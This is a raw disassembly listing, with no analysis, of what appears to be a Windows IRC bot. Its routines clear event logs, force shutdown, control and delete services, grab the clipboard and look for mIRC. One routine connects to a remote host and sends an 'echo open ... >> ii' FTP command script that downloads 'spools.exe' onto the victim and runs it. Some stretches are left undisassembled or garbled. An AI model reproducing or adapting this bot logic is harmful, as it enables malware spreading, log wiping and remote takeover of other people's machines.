cmp [ebp+arg_4], 0
pop edi
jz short loc_4187D2
lea eax, [ebp+var_7D0]
push 7D0h
push eax
push [ebp+arg_4]
call near ptr sub_41C9B0
add esp, 0Ch
loc_4187D2: ; CODE XREF: sub_41872B+8Ej
mov eax, ebx
loc_4187D4: ; CODE XREF: sub_41872B+34j
pop esi
pop ebx
leave
retn
sub_41872B endp
; =============== S U B R O U T I N E =======================================
sub_4187D8 proc near ; CODE XREF: sub_418832+33p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
mov edi, [esp+8+arg_8]
mov ecx, 1F4h
xor esi, esi
rep stosd
lea edi, [eax-1]
test edi, edi
jl short loc_418811
push ebx
mov ebx, edi
loc_4187F5: ; CODE XREF: sub_4187D8+36j
mov eax, [esp+0Ch+arg_0]
mov al, [esi+eax]
push eax
call sub_418814
pop ecx
inc esi
mov ecx, [esp+0Ch+arg_8]
mov [ecx+eax*4], ebx
dec ebx
cmp esi, edi
jle short loc_4187F5
pop ebx
loc_418811: ; CODE XREF: sub_4187D8+18j
pop edi
pop esi
retn
sub_4187D8 endp
; =============== S U B R O U T I N E =======================================
sub_418814 proc near ; CODE XREF: sub_4187D8+25p
; sub_418832+6Bp
arg_0 = byte ptr 4
movsx eax, [esp+arg_0]
push eax
call sub_41DE1C
cmp al, 61h
pop ecx
jl short loc_41882F
cmp al, 7Ah
jg short loc_41882F
movsx eax, al
sub eax, 60h
retn
; ---------------------------------------------------------------------------
loc_41882F: ; CODE XREF: sub_418814+Ej
; sub_418814+12j
xor eax, eax
retn
sub_418814 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418832 proc near ; CODE XREF: .nsp0:00415927p
var_100C = dword ptr -100Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 100Ch
call sub_41C1D0
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41B890
push [ebp+arg_4]
mov [ebp+var_4], eax
call sub_41B890
mov esi, eax
lea eax, [ebp+var_100C]
push eax
push esi
push [ebp+arg_4]
mov [ebp+var_C], esi
call sub_4187D8
add esp, 14h
dec esi
mov edi, esi
loc_418870: ; CODE XREF: sub_418832+B6j
test esi, esi
jle short loc_4188EE
mov eax, [ebp+arg_4]
movsx eax, byte ptr [esi+eax]
push eax
call sub_41DE1C
mov ebx, eax
mov eax, [ebp+arg_0]
movsx eax, byte ptr [edi+eax]
push eax
call sub_41DE1C
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4188E6
loc_418896: ; CODE XREF: sub_418832+B2j
mov ebx, [ebp+arg_0]
mov al, [edi+ebx]
push eax
call sub_418814
mov edx, [ebp+var_C]
mov eax, [ebp+eax*4+var_100C]
pop ecx
mov ecx, edx
sub ecx, esi
cmp ecx, eax
jle short loc_4188B7
mov eax, ecx
loc_4188B7: ; CODE XREF: sub_418832+81j
add edi, eax
cmp edi, [ebp+var_4]
jge short loc_4188EA
mov eax, [ebp+arg_4]
lea esi, [edx-1]
movsx eax, byte ptr [esi+eax]
push eax
call sub_41DE1C
mov edx, eax
movsx eax, byte ptr [edi+ebx]
push eax
mov [ebp+var_8], edx
call sub_41DE1C
pop ecx
pop ecx
mov ecx, [ebp+var_8]
cmp eax, ecx
jnz short loc_418896
loc_4188E6: ; CODE XREF: sub_418832+62j
dec edi
dec esi
jmp short loc_418870
; ---------------------------------------------------------------------------
loc_4188EA: ; CODE XREF: sub_418832+8Aj
xor eax, eax
jmp short loc_4188F3
; ---------------------------------------------------------------------------
loc_4188EE: ; CODE XREF: sub_418832+40j
mov eax, [ebp+arg_0]
add eax, edi
loc_4188F3: ; CODE XREF: sub_418832+BAj
pop edi
pop esi
pop ebx
leave
retn
sub_418832 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4188F8 proc near ; CODE XREF: .nsp0:004081F4p
; .nsp0:004092CBp
var_100 = byte ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 100h
push esi
call dword_42708C ; RtlGetLastWin32Error
mov esi, eax
push 0
lea eax, [ebp+var_100]
push 100h
push eax
push 400h
push esi
push 0
push 1200h
call near ptr 0B40000h
pop ebx
lea eax, [ebp+var_100]
loc_418931: ; CODE XREF: sub_4188F8+46j
mov cl, [eax]
cmp cl, 1Fh
jg short loc_41893D
cmp cl, 9
jnz short loc_418940
loc_41893D: ; CODE XREF: sub_4188F8+3Ej
inc eax
jmp short loc_418931
; ---------------------------------------------------------------------------
loc_418940: ; CODE XREF: sub_4188F8+43j
; sub_4188F8+5Bj ...
and byte ptr [eax], 0
dec eax
lea ecx, [ebp+var_100]
cmp eax, ecx
jb short loc_41895A
mov cl, [eax]
cmp cl, 2Eh
jz short loc_418940
cmp cl, 21h
jl short loc_418940
loc_41895A: ; CODE XREF: sub_4188F8+54j
lea eax, [ebp+var_100]
push esi
push eax
mov esi, offset dword_4E09AC
push [ebp+arg_0]
push offset aSErrorSD_ ; "%s Error: %s <%d>."
push 200h
push esi
call sub_41C030
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_4188F8 endp
; =============== S U B R O U T I N E =======================================
sub_418982 proc near ; CODE XREF: .nsp0:00403F92p
push esi
push 0
call dword_4D11C0 ; OpenClipboard
test eax, eax
jz short loc_4189B9
push 1
call dword_4D11E0 ; GetClipboardData
mov esi, eax
test esi, esi
jz short loc_4189B9
push edi
push esi
call dword_427164 ; GlobalLock
push esi
mov edi, eax
call dword_427160 ; GlobalUnlock
call dword_4D1244 ; CloseClipboard
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4189B9: ; CODE XREF: sub_418982+Bj
; sub_418982+19j
xor eax, eax
pop esi
retn
sub_418982 endp
; =============== S U B R O U T I N E =======================================
sub_4189BD proc near ; CODE XREF: .nsp0:00409065p
var_30 = dword ptr -30h
push ebp
push esi
push edi
xor esi, esi
mov edi, offset aMirc_0 ; "mIRC"
push esi
push edi
call dword_4D11FC ; FindWindowA
mov ebp, eax
cmp ebp, esi
jz short loc_418A39
push ebx
push edi
push 1000h
push esi
push 4
push esi
push 0FFFFFFFFh
call near ptr 0B40000h
popf
push esi
push esi
mov edi, eax
push esi
push 0F001Fh
push edi
call near ptr 0B40000h
pushf
push [esp+44h+var_30]
mov ebx, eax
push ebx
call sub_41BF36
pop ecx
pop ecx
push esi
push 1
push 4C8h
push ebp
call dword_4D124C ; SendMessageA
push esi
push 1
push 4C9h
push ebp
call dword_4D124C ; SendMessageA
push ebx
call near ptr 0B40000h
mov al, ds:6C15FF57h
jo short loc_418A74
add [edx+1], ch
pop eax
pop ebx
jmp short loc_418A3B
; ---------------------------------------------------------------------------
loc_418A39: ; CODE XREF: sub_4189BD+16j
xor eax, eax
loc_418A3B: ; CODE XREF: sub_4189BD+7Aj
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
xor esi, esi
push edi
lea eax, [ebp-11Ch]
push esi
push eax
push 104h
push esi
push offset aExplorer_exe ; "explorer.exe"
push esi
call dword_4D12AC ; SearchPathA
test eax, eax
jz short loc_418ADE
mov edi, 80h
push esi
push edi
push 3
loc_418A74: ; CODE XREF: sub_4189BD+73j
push esi
mov esi, dword_4270EC
push 1
lea eax, [ebp-11Ch]
push 80000000h
push eax
call esi ; dword_4270EC
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_418ADE
lea eax, [ebp-18h]
push eax
lea eax, [ebp-8]
push eax
lea eax, [ebp-10h]
push eax
push ebx
call near ptr 0B40000h
in eax, 53h
mov ebx, dword_42706C
call ebx ; dword_42706C
push 0
push edi
push 3
push 0
push 2
push 40000000h
push dword ptr [ebp+8]
call esi ; dword_4270EC
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_418ADE
lea eax, [ebp-18h]
push eax
lea eax, [ebp-8] ; CODE XREF: .nsp0:00418B3Fj
push eax
lea eax, [ebp-10h]
push eax
push esi
call near ptr 0B40000h
scasb
push esi
call ebx ; dword_42706C
loc_418ADE: ; CODE XREF: sub_4189BD+ACj
; sub_4189BD+D3j ...
pop edi
pop esi
pop ebx
leave
retn
sub_4189BD endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_418AE3 proc near ; CODE XREF: .nsp0:004031A0p
push 1
push offset aSeshutdownpriv ; "SeShutdownPrivilege"
call sub_419EDA
pop ecx
pop ecx
push 50005h
push 6
call dword_4D1130 ; ExitWindowsEx
neg eax
sbb eax, eax
neg eax
retn
sub_418AE3 endp
; ---------------------------------------------------------------------------
loc_418B05: ; CODE XREF: .nsp0:00404224p
; .nsp0:00416E74p
push ebp
mov ebp, esp
sub esp, 764h
push esi
xor esi, esi
cmp dword_429090, esi
push edi
jz short loc_418B29
cmp dword_4D12C0, esi
jnz short loc_418B29
push esi
call sub_401000
pop ecx
loc_418B29: ; CODE XREF: .nsp0:00418B18j
; .nsp0:00418B20j
call sub_40B1D7
lea eax, [ebp-764h]
push eax
push 400h
call near ptr 0B40000h
jle short near ptr loc_418ACC+2
test [eax+edi*8-72AF0001h], ebx
test [eax+68FFFFFDh], esp
les ecx, [ebx]
inc esp
add [eax-18h], dl
fidiv word ptr [ebx]
; ---------------------------------------------------------------------------
dw 0
dd 8D0CC483h, 0FFFDA085h, 6A5656FFh, 68565602h, 40000000h
dd 0EC15FF50h, 8B004270h, 0FFE3BF8h, 10C86h, 0A0858D00h
dd 50FFFFFDh, 0F89C858Dh, 8068FFFFh, 5000440Bh, 33A1E8h
dd 0CC48300h, 56FC458Dh, 9C858D50h, 50FFFFF8h, 2CE7E8h
dd 8D505900h, 0FFF89C85h, 0E85750FFh, 727448h, 15FF5787h
dd 42706Ch, 458D106Ah, 0E85056ECh, 3074h, 458D446Ah, 56575FA8h
dd 3066E850h, 0C4830000h, 0A87D8918h, 104BFh, 0A4858D00h
dd 57FFFFFEh, 45C75650h, 443398B4h, 0D445C700h, 1, 0D8758966h
dd 7273FBE8h, 0E8504600h, 7273F4h, 0A4858D40h, 50FFFFFEh
dd 709815FFh, 0F8830042h, 8D1274FFh, 0FFFEA485h, 8068FFh
dd 0E8500000h, 7273D0h, 0A4858D8Fh, 50FFFFFEh, 0FDA0858Dh
dd 8D50FFFFh, 0FFF89C85h, 0B6868FFh, 0E8500044h, 32E6h
dd 8D10C483h, 0FFFC9C85h, 8D5057FFh, 0FFF89C85h, 99E850FFh
dd 98007273h, 50EC458Dh, 50A8458Dh, 8685656h, 6A000040h
dd 858D5601h, 0FFFFFC9Ch, 0E8565056h, 727378h, 0C95E5FC1h
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418C8D proc near ; CODE XREF: .nsp0:00408C42p
var_294 = byte ptr -294h
var_94 = dword ptr -94h
var_84 = dword ptr -84h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 294h
push edi
xor edi, edi
push 94h
lea eax, [ebp+var_94]
push edi
push eax
call sub_41BC40
add esp, 0Ch
lea eax, [ebp+var_94]
mov [ebp+var_94], 94h
push eax
call dword_4270C8 ; GetVersionExA
cmp [ebp+var_84], 2
jnz short loc_418D23
push [ebp+arg_10]
push [ebp+arg_C]
call dword_4D1170 ; OpenEventLogA
push edi
push eax
call dword_4D1180 ; ClearEventLogA
test eax, eax
jz short loc_418D15
push [ebp+arg_10]
push offset dword_440C28
loc_418CEE: ; CODE XREF: sub_418C8D+94j
lea eax, [ebp+var_294]
push eax
call sub_41BF36
push edi
lea eax, [ebp+var_294]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4099D2
add esp, 20h
jmp short loc_418D4D
; ---------------------------------------------------------------------------
loc_418D15: ; CODE XREF: sub_418C8D+57j
call dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_440C00
jmp short loc_418CEE
; ---------------------------------------------------------------------------
loc_418D23: ; CODE XREF: sub_418C8D+3Fj
lea eax, [ebp+var_294]
push offset unk_440BD0
push eax
call sub_41BF36
push edi
lea eax, [ebp+var_294]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4099D2
add esp, 1Ch
loc_418D4D: ; CODE XREF: sub_418C8D+86j
pop edi
leave
retn
sub_418C8D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418D50 proc near ; CODE XREF: sub_40E18F+480p
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor ebx, ebx
push 10h
lea eax, [ebp+var_10]
push ebx
push eax
call sub_41BC40
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call dword_4D1230 ; inet_addr
push [ebp+arg_BC]
mov [ebp+var_C], eax
call dword_4D11F0 ; ntohs
push ebx
push 1
push 2
mov [ebp+var_E], ax
call dword_4D1270 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_418E1B
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_4D1198 ; connect
cmp eax, 0FFFFFFFFh
jz short loc_418E1B
mov esi, 400h
push ebx
lea eax, [ebp+var_5A0]
push esi
push eax
push edi
call dword_4D1208 ; recv
mov eax, offset aSpools_exe ; "spools.exe"
push eax
push eax
push dword_4D0F20
push [ebp+arg_0]
call sub_40AB6A
pop ecx
push eax
push offset aCmdKEchoOpen_0 ; "cmd /k echo open %s %d >> ii &echo user"...
lea eax, [ebp+var_1A0]
push 190h
push eax
call sub_41C030
add esp, 1Ch
lea eax, [ebp+var_1A0]
push ebx
push eax
call sub_41B890
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push edi
call dword_4D1240 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_418E1F
loc_418E1B: ; CODE XREF: sub_418D50+50j
; sub_418D50+62j
xor al, al
jmp short loc_418E38
; ---------------------------------------------------------------------------
loc_418E1F: ; CODE XREF: sub_418D50+C9j
push ebx
lea eax, [ebp+var_5A0]
push esi
push eax
push edi
call dword_4D1208 ; recv
push edi
call dword_4D1288 ; closesocket
mov al, 1
loc_418E38: ; CODE XREF: sub_418D50+CDj
pop edi
pop esi
pop ebx
leave
retn
sub_418D50 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418E3D proc near ; CODE XREF: .nsp0:00407058p
var_1C0 = byte ptr -1C0h
var_15C = byte ptr -15Ch
var_F8 = byte ptr -0F8h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C0h
lea eax, [ebp+var_94]
mov [ebp+var_94], 94h
push eax
call dword_4270C8 ; GetVersionExA
cmp [ebp+var_90], 4
jnz short loc_418E93
cmp [ebp+var_8C], 0
jnz short loc_418E7C
push 1
pop eax
cmp [ebp+var_84], eax
jnz short loc_418E93
leave
retn
; ---------------------------------------------------------------------------
loc_418E7C: ; CODE XREF: sub_418E3D+30j
cmp [ebp+var_8C], 0Ah
jz short loc_418E8E
cmp [ebp+var_8C], 5Ah
jnz short loc_418E93
loc_418E8E: ; CODE XREF: sub_418E3D+46j
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_418E93: ; CODE XREF: sub_418E3D+27j
; sub_418E3D+3Bj ...
push esi
push edi
push offset aNetapi32_dll ; "netapi32.dll"
call dword_4270B8 ; LoadLibraryA
mov esi, eax
push offset aNetmessagebuff ; "NetMessageBufferSend"
push esi
call dword_4270BC
push 32h
mov edi, eax
push [ebp+arg_0]
lea eax, [ebp+var_1C0]
push eax
call sub_41DF04
push 32h
lea eax, [ebp+var_15C]
push [ebp+arg_4]
push eax
call sub_41DF04
push 32h
lea eax, [ebp+var_F8]
push [ebp+arg_8]
push eax
call sub_41DF04
lea eax, [ebp+var_F8]
push eax
call sub_41DEE7
shl eax, 1
push eax
lea eax, [ebp+var_F8]
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_1C0]
push eax
push 0
call edi ; GetProcessHeap
add esp, 3Ch
mov edi, eax
push esi
call near ptr 0B40000h
push edx
mov eax, edi
pop edi
pop esi
leave
retn
sub_418E3D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418F1D proc near ; CODE XREF: sub_401135+F7p
; sub_40123E+Ap ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
call dword_4270A8 ; GetTickCount
push eax
call sub_41BF88
pop ecx
call sub_41BF92
mov esi, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
fild [ebp+var_4]
sub eax, esi
mov [ebp+arg_4], eax
fimul [ebp+arg_4]
fmul dbl_427700
call sub_41CE38
sub esi, eax
mov eax, esi
pop esi
leave
retn
sub_418F1D endp
; =============== S U B R O U T I N E =======================================
sub_418F5A proc near ; CODE XREF: .nsp0:loc_405FC9p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_418FBF
lea esi, [eax+eax*2]
push 0
shl esi, 2
push 0
push dword_440C50[esi]
push edi
push eax
call sub_418FE1
add esp, 14h
test eax, eax
jnz short loc_418FA2
push edi
push off_440C4C[esi]
mov esi, offset dword_4E1270
push offset unk_440D60
push esi
call sub_41BF36
add esp, 10h
jmp short loc_418FDC
; ---------------------------------------------------------------------------
loc_418FA2: ; CODE XREF: sub_418F5A+2Aj
push eax
call sub_419083
push eax
push edi
mov esi, offset dword_4E1270
push offset unk_440D34
push esi
call sub_41BF36
add esp, 14h
jmp short loc_418FDC
; ---------------------------------------------------------------------------
loc_418FBF: ; CODE XREF: sub_418F5A+Cj
lea eax, [eax+eax*2]
mov esi, offset dword_4E1270
push off_440C48[eax*4]
push offset unk_440D10
push esi
call sub_41BF36
add esp, 0Ch
loc_418FDC: ; CODE XREF: sub_418F5A+46j
; sub_418F5A+63j
mov eax, esi
pop edi
pop esi
retn
sub_418F5A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418FE1 proc near ; CODE XREF: sub_418F5A+20p
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
call dword_4D11E4 ; OpenSCManagerA
mov edi, eax
cmp edi, ebx
jnz short loc_419008
call dword_42708C ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_41907D
; ---------------------------------------------------------------------------
loc_419008: ; CODE XREF: sub_418FE1+1Bj
push esi
push 0F01FFh
push [ebp+arg_4]
push edi
call dword_4D10CC ; OpenServiceA
mov esi, eax
cmp esi, ebx
jnz short loc_419028
call dword_42708C ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_419075
; ---------------------------------------------------------------------------
loc_419028: ; CODE XREF: sub_418FE1+3Bj
mov eax, [ebp+arg_0]
cmp eax, 1
jz short loc_41905B
cmp eax, 3
jz short loc_41904C
jle short loc_41906E
cmp eax, 6
jg short loc_41906E
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_8]
push esi
call dword_4D1138 ; ControlService
jmp short loc_419062
; ---------------------------------------------------------------------------
loc_41904C: ; CODE XREF: sub_418FE1+52j
push [ebp+arg_10]
push [ebp+arg_C]
push esi
call dword_4D10D4 ; StartServiceA
jmp short loc_419062
; ---------------------------------------------------------------------------
loc_41905B: ; CODE XREF: sub_418FE1+4Dj
push esi
call dword_4D113C ; DeleteService
loc_419062: ; CODE XREF: sub_418FE1+69j
; sub_418FE1+78j
test eax, eax
jnz short loc_41906E
call dword_42708C ; RtlGetLastWin32Error
mov ebx, eax
loc_41906E: ; CODE XREF: sub_418FE1+54j
; sub_418FE1+59j ...
push esi
call dword_4D10E8 ; CloseServiceHandle
loc_419075: ; CODE XREF: sub_418FE1+45j
push edi
call dword_4D10E8 ; CloseServiceHandle
pop esi
loc_41907D: ; CODE XREF: sub_418FE1+25j
mov eax, ebx
pop edi
pop ebx
leave
retn
sub_418FE1 endp
; =============== S U B R O U T I N E =======================================
sub_419083 proc near ; CODE XREF: sub_418F5A+49p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 420h
cmp eax, ecx
ja loc_419138
jz loc_419131
add ecx, 0FFFFFFFBh
cmp eax, ecx
ja short loc_4190FB
jz short loc_4190F1
mov ecx, eax
sub ecx, 3
jz short loc_4190E7
dec ecx
dec ecx
jz short loc_4190DD
dec ecx
jz short loc_4190D3
sub ecx, 51h
jz short loc_4190C9
sub ecx, 24h
jnz loc_4191AE ; default
; jumptable 00419155 cases 1,5,6,8,9,12,13,15,16
push offset aTheSpecifiedSe ; "The specified service name is invalid."
jmp loc_4191A0
; ---------------------------------------------------------------------------
loc_4190C9: ; CODE XREF: sub_419083+31j
push offset aTheRequestedCo ; "The requested control code is undefined"...
jmp loc_4191A0
; ---------------------------------------------------------------------------
loc_4190D3: ; CODE XREF: sub_419083+2Cj
push offset aTheHandleIsInv ; "The handle is invalid."
jmp loc_4191A0
; ---------------------------------------------------------------------------
loc_4190DD: ; CODE XREF: sub_419083+29j
push offset aTheHandleDoesN ; "The handle does not have the required a"...
jmp loc_4191A0
; ---------------------------------------------------------------------------
loc_4190E7: ; CODE XREF: sub_419083+25j
push offset aTheServiceBina ; "The service binary file could not be fo"...
jmp loc_4191A0
; ---------------------------------------------------------------------------
loc_4190F1: ; CODE XREF: sub_419083+1Ej
push offset aTheServiceCann ; "The service cannot be stopped because o"...
jmp loc_4191A0
; ---------------------------------------------------------------------------
loc_4190FB: ; CODE XREF: sub_419083+1Cj
mov ecx, eax
sub ecx, 41Ch
jz short loc_41912A
dec ecx
jz short loc_419123
dec ecx
jz short loc_41911C
dec ecx
jnz loc_4191AE ; default
; jumptable 00419155 cases 1,5,6,8,9,12,13,15,16
push offset aTheDatabaseIsL ; "The database is locked."
jmp loc_4191A0
; ---------------------------------------------------------------------------
loc_41911C: ; CODE XREF: sub_419083+86j
push offset aAThreadCouldNo ; "A thread could not be created for the s"...
jmp short loc_4191A0
; ---------------------------------------------------------------------------
loc_419123: ; CODE XREF: sub_419083+83j
push offset aTheProcessForT ; "The process for the service was started"...
jmp short loc_4191A0
; ---------------------------------------------------------------------------
loc_41912A: ; CODE XREF: sub_419083+80j
push offset aTheRequested_0 ; "The requested control code is not valid"...
jmp short loc_4191A0
; ---------------------------------------------------------------------------
loc_419131: ; CODE XREF: sub_419083+11j
push offset aAnInstanceOfTh ; "An instance of the service is already r"...
jmp short loc_4191A0
; ---------------------------------------------------------------------------
loc_419138: ; CODE XREF: sub_419083+Bj
mov ecx, 45Bh
cmp eax, ecx
ja short loc_4191AE ; default
; jumptable 00419155 cases 1,5,6,8,9,12,13,15,16
jz short loc_41919B
lea ecx, [eax-422h]
cmp ecx, 11h ; switch 18 cases
ja short loc_4191AE ; default
; jumptable 00419155 cases 1,5,6,8,9,12,13,15,16
movzx ecx, byte_4191EF[ecx]
jmp off_4191C7[ecx*4] ; switch jump
loc_41915C: ; DATA XREF: .nsp0:off_4191C7o
push offset aTheSpecifiedDa ; jumptable 00419155 case 7
jmp short loc_4191A0
; ---------------------------------------------------------------------------
loc_419163: ; CODE XREF: sub_419083+D2j
; DATA XREF: .nsp0:off_4191C7o
push offset aTheServiceDepe ; jumptable 00419155 case 17
jmp short loc_4191A0
; ---------------------------------------------------------------------------
loc_41916A: ; CODE XREF: sub_419083+D2j
; DATA XREF: .nsp0:off_4191C7o
push offset aTheServiceDe_0 ; jumptable 00419155 case 10
jmp short loc_4191A0
; ---------------------------------------------------------------------------
loc_419171: ; CODE XREF: sub_419083+D2j
; DATA XREF: .nsp0:off_4191C7o
push offset aTheServiceHasB ; jumptable 00419155 case 0
jmp short loc_4191A0
; ---------------------------------------------------------------------------
loc_419178: ; CODE XREF: sub_419083+D2j
; DATA XREF: .nsp0:off_4191C7o
push offset aTheSpecified_0 ; jumptable 00419155 case 2
jmp short loc_4191A0
; ---------------------------------------------------------------------------
loc_41917F: ; CODE XREF: sub_419083+D2j
; DATA XREF: .nsp0:off_4191C7o
push offset aTheServiceCoul ; jumptable 00419155 case 11
jmp short loc_4191A0
; ---------------------------------------------------------------------------
loc_419186: ; CODE XREF: sub_419083+D2j
; DATA XREF: .nsp0:off_4191C7o
push offset aTheServiceHa_0 ; jumptable 00419155 case 14
jmp short loc_4191A0
; ---------------------------------------------------------------------------
loc_41918D: ; CODE XREF: sub_419083+D2j
; DATA XREF: .nsp0:off_4191C7o
push offset aTheRequested_1 ; jumptable 00419155 case 3
jmp short loc_4191A0
; ---------------------------------------------------------------------------
loc_419194: ; CODE XREF: sub_419083+D2j
; DATA XREF: .nsp0:off_4191C7o
push offset aTheServiceHasN ; jumptable 00419155 case 4
jmp short loc_4191A0
; ---------------------------------------------------------------------------
loc_41919B: ; CODE XREF: sub_419083+BEj
push offset aTheSystemIsShu ; "The system is shutting down."
loc_4191A0: ; CODE XREF: sub_419083+41j
; sub_419083+4Bj ...
push offset dword_4E0BB0
call sub_41BF36
pop ecx
pop ecx
jmp short loc_4191C1
; ---------------------------------------------------------------------------
loc_4191AE: ; CODE XREF: sub_419083+36j
; sub_419083+89j ...
push eax ; default
; jumptable 00419155 cases 1,5,6,8,9,12,13,15,16
push offset aAnUnknownError ; "An unknown error occurred: <%ld>"
push offset dword_4E0BB0
call sub_41BF36
add esp, 0Ch
loc_4191C1: ; CODE XREF: sub_419083+129j
mov eax, offset dword_4E0BB0
retn
sub_419083 endp
; ---------------------------------------------------------------------------
off_4191C7 dd offset loc_419171 ; DATA XREF: sub_419083+D2r
dd offset loc_419178 ; jump table for switch statement
dd offset loc_41918D
dd offset loc_419194
dd offset loc_41915C
dd offset loc_41916A
dd offset loc_41917F
dd offset loc_419186
dd offset loc_419163
dd offset loc_4191AE
byte_4191EF db 0, 9, 1, 2 ; DATA XREF: sub_419083+CBr
db 3, 9, 9, 4 ; indirect table for switch statement
db 9, 9, 5, 6
db 9, 9, 7, 9
db 9, 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419201 proc near ; CODE XREF: .nsp0:00405FF4p
var_38C = byte ptr -38Ch
var_18C = byte ptr -18Ch
var_188 = byte ptr -188h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 38Ch
push ebx
push esi
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
mov [ebp+var_8], ebx
call dword_4D11E4 ; OpenSCManagerA
push ebx
mov [ebp+var_C], eax
push [ebp+arg_8]
push offset aTheFollowingWi ; "The following Windows services are regi"...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4099D2
add esp, 14h
loc_419239: ; CODE XREF: sub_419201+120j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_18C]
push 168h
push eax
push 3
push 30h
push [ebp+var_C]
call dword_4D11B0 ; EnumServicesStatusA
test eax, eax
jnz short loc_419273
call dword_42708C ; RtlGetLastWin32Error
cmp eax, 0EAh
jnz loc_419327
loc_419273: ; CODE XREF: sub_419201+5Fj
xor edi, edi
cmp [ebp+var_4], ebx
jle loc_41931E
lea esi, [ebp+var_188]
loc_419284: ; CODE XREF: sub_419201+117j
mov eax, [esi+8]
dec eax
jz short loc_4192CD
dec eax
jz short loc_4192C6
dec eax
jz short loc_4192BF
dec eax
jz short loc_4192B8
dec eax
jz short loc_4192B1
dec eax
jz short loc_4192AA
dec eax
jz short loc_4192A3
push offset aUnknown_1 ; " Unknown"
jmp short loc_4192D2
; ---------------------------------------------------------------------------
loc_4192A3: ; CODE XREF: sub_419201+99j
push offset aPaused_0 ; " Paused"
jmp short loc_4192D2
; ---------------------------------------------------------------------------
loc_4192AA: ; CODE XREF: sub_419201+96j
push offset aPausing ; " Pausing"
jmp short loc_4192D2
; ---------------------------------------------------------------------------
loc_4192B1: ; CODE XREF: sub_419201+93j
push offset aContinuing ; " Continuing"
jmp short loc_4192D2
; ---------------------------------------------------------------------------
loc_4192B8: ; CODE XREF: sub_419201+90j
push offset aRunning_0 ; " Running"
jmp short loc_4192D2
; ---------------------------------------------------------------------------
loc_4192BF: ; CODE XREF: sub_419201+8Dj
push offset aStoping ; " Stoping"
jmp short loc_4192D2
; ---------------------------------------------------------------------------
loc_4192C6: ; CODE XREF: sub_419201+8Aj
push offset aStarting ; " Starting"
jmp short loc_4192D2
; ---------------------------------------------------------------------------
loc_4192CD: ; CODE XREF: sub_419201+87j
push offset aStopped ; " Stopped"
loc_4192D2: ; CODE XREF: sub_419201+A0j
; sub_419201+A7j ...
lea eax, [ebp+var_20]
push eax
call sub_41BF36
pop ecx
